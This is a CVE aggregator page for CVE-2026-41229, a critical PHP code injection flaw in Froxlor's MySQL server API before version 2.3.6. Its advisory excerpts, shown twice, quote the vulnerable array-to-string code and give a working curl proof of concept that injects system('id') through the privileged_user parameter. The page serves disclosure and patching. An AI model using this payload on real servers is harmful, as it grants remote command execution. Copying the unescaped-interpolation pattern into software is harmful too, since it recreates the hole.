Every CVE Search/ Get API key

CVE-2026-41229

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

9.1 CriticalFix available

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.48%Up 0.4 points since Apr 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.1

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Record
CVE-2026-41229
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-25178 9.1

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Record
EUVD-2026-25178
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-gc9w-cc93-rjv8 9.1

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

  1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
  2. privileged_user is read via getParam() at line 88 with no validation applied
  3. mysql_ca is also read with no validation at line 86
  4. The values are placed into the $sql_root array at lines 150-160
  5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
  6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
  7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to **arbitrary OS command…

Record
GHSA-gc9w-cc93-rjv8
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 9.1

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Record
CVE-2026-41229
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 9.1

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Record
CVE-2026-41229
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-gc9w-cc93-rjv8 9.1

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

  1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
  2. privileged_user is read via getParam() at line 88 with no validation applied
  3. mysql_ca is also read with no validation at line 86
  4. The values are placed into the $sql_root array at lines 150-160
  5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
  6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
  7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to **arbitrary OS command…

Record
GHSA-gc9w-cc93-rjv8
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
froxlor/froxlor
Packagist
through 2.3.5
2.3.6
froxlor/froxlor
Packagist
before 2.3.6, plus listed versions
0.10.00.10.0-rc10.10.0-rc20.10.10.10.10
Show 45 moreShow less
0.10.110.10.120.10.130.10.140.10.150.10.160.10.170.10.180.10.190.10.20.10.200.10.210.10.220.10.230.10.23.10.10.240.10.250.10.260.10.270.10.280.10.290.10.29.10.10.30.10.300.10.310.10.320.10.330.10.340.10.34.10.10.350.10.35.10.10.360.10.370.10.380.10.38.10.10.38.20.10.38.30.10.40.10.50.10.60.10.70.10.80.10.92.0.02.0.1
2.3.6

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41229 is a critical vulnerability (CVSS 9.1) in Froxlor, published April 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in froxlor/froxlor 2.3.6.

References

This page doesn't list everything

Left out here: 57 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open